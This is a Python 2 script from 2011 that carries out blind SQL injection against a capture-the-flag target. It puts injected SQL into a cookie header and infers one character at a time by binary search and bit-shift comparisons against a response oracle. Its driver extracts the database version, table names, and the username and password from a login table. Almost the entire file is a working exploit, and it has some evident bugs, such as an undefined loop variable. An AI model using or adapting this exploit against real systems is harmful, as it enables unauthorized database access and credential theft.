#!/usr/bin/python
# ----------------------------------------------------------------------------
# "THE BEER-WARE LICENSE" (Revision 42):
# <bufferoverfl0wz [at] gmail.com> wrote this file. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, you can buy me a beer in return -buffer-
# ----------------------------------------------------------------------------
#
# buffer 2 Apr 2011
import httplib, re, sys
def binary(_pass, _fail, function):
"""
By using function(int c) that is an oracle saying that c
is lower or greater than expected ascii code, binary
finds this code using binary method
@param _pass known passing value
@param _fail known failing value
@param function oracle function
"""
done = False;
rslt = -1;
c = (_pass+_fail)/2;
while( True ):
if( _fail - _pass < 5 ):
for c in range(_pass+1, _fail):
if( not function(c) ):
rslt = c;
done = True;
break;
# if we go there is that the latest fail is the good one...
if( not done ):
rslt = _fail;
done = True;
else:
if( function(c) ): #True
_pass = c
else: # False
_fail = c;
c = (_pass + _fail) / 2;
if( done ):
break;
return rslt;
def shr(function):
"""
Using function(idx, val) as oracle saying if the idx-shifted value of
ascii code is equal to val, shr finds this code.
@param function oracle that says if idx-shifted value of ascii
code is equals to val
@return character
"""
val = 0;
idxList = range(7);
idxList.reverse();
for idx in l:
if function(idx, val) != True: # sql >> idx != val => sql >> idx = v
val += 1
if idx != 0:
val <<= 1;
return chr(val);
class BlindSqlIt(object):
"""
"""
def __init__(self):
"""
Ctor - can be modified to be more generic :s
"""
pass
def connect(self, webSite, page, headers={}):
"""
Do an HTTP request and return the PASS/FAIL status of
the SQL Injection request
@param website fqdn of the website
@param page page to visit
@param headers dictionary of HTTP headers
@return PASS/FAIL status of the SQLi
"""
conn = httplib.HTTPConnection(webSite);
conn.request("GET", page, headers=headers);
response = conn.getresponse();
if( response.status == 200 ):
raw_cookie = response.getheader('Set-Cookie');
return self.isMd5Pass(raw_cookie); # return TRUE or FALSE selon le md5
else:
print 'Connection failure';
def isMd5Pass(self, raw_cookie):
"""
Parse cookie to know if it is an ERROR message or not
@param raw_cookie raw cookie.
@return PASS/FAIL status of the SQLi
"""
cookie_array = raw_cookie.split('=');
cookie = '';
if( len(cookie_array) == 2 ):
cookie = cookie_array[1];
print cookie
return cookie != 'cb5e100e5a9a3e7f6d1fd97512215282'
def doRequest(self, request):
"""
Pack the SQL request in the cookie header
@param request SQL request
@return PASS/FAIL status of the SQLi
"""
headers = {'Cookie': 'PHPSESSID=g1d52vl3cd463mkmrsbisl59c3; cap=cb5e100e5a9a3e7f6d1fd97512215282' + request};
print headers;
return self.connect('ownm3.prequals.nuitduhack.com', '/captcha.php?id=0', headers=headers);
def binaryRequest(self, sql, code):
"""
Perform an SQL injection using binary method
@param sql sql request to inject
@param code integer value to compare result to
@return PASS/FAIL status of the SQLi
"""
req = "' and %s>%i or '2'='" % (sql, code);
sys.stdout.write(req + ' ');
rslt = self.doRequest(req);
if( rslt ):
print 'PASS'
else:
print 'FAIL';
return rslt;
def shrRequest(self, sql, bit, val):
"""
Perform an SQL injection using shift right method
@param sql sql request to inject
@param bit numberof bits to shift
@param val integer value to compare to
@return PASS/FAIL status of the SQLi
"""
req = "' and (%s>>%i)=%i or '2'='" % (sql, bit, val)
sys.stdout.write(req + ' ');
rslt = self.doRequest(req);
if( rslt ):
print 'PASS'
else:
print 'FAIL';
return rslt;
def getParameterLength(self, parameterName):
"""
Get a VARCHAR parameter length
@param parameterName name of the parameter (or SQL request) to get length of
@return length
"""
sql = 'length(%s)' % (parameterName);
length = binary(-1, 64, lambda x: self.binaryRequest(sql, x));
print '===> len(%s) = %i <===' % (parameterName, length);
return length
def getParameter(self, parameterName):
"""
Get the result of a SQL injection
@param parameterName can be a varaible or a SQL request to get value of
@return value of sql request
"""
# First, guess length of parameter
length = self.getParameterLength(parameterName);
parameter = ['']*length
for i in range(0, length+1):
sql = 'ASCII(SUBSTRING(%s, %i, 1))' % (parameterName, i);
letter = shr(lambda x, y: self.shrRequest(sql, x, y));
print '===> %s[%i] = %s <===' % (parameterName, i, letter);
parameter[i-1] = letter;
return(''.join(parameter));
sqlit = BlindSqlIt();
print sqlit.getParameter('@@version');
# Try to get the 4 first tables:
for i in range(4):
tableName = sqlit.getParameter('(SELECT table_name from information_schema.tables where table_schema=DATABASE() limit 1,1)');
print 'table[%i]=%s' % (i, tableName);
print sqlit.getParameter('(SELECT user from login where id=1)');
print sqlit.getParameter('(SELECT pass from login where id=1)');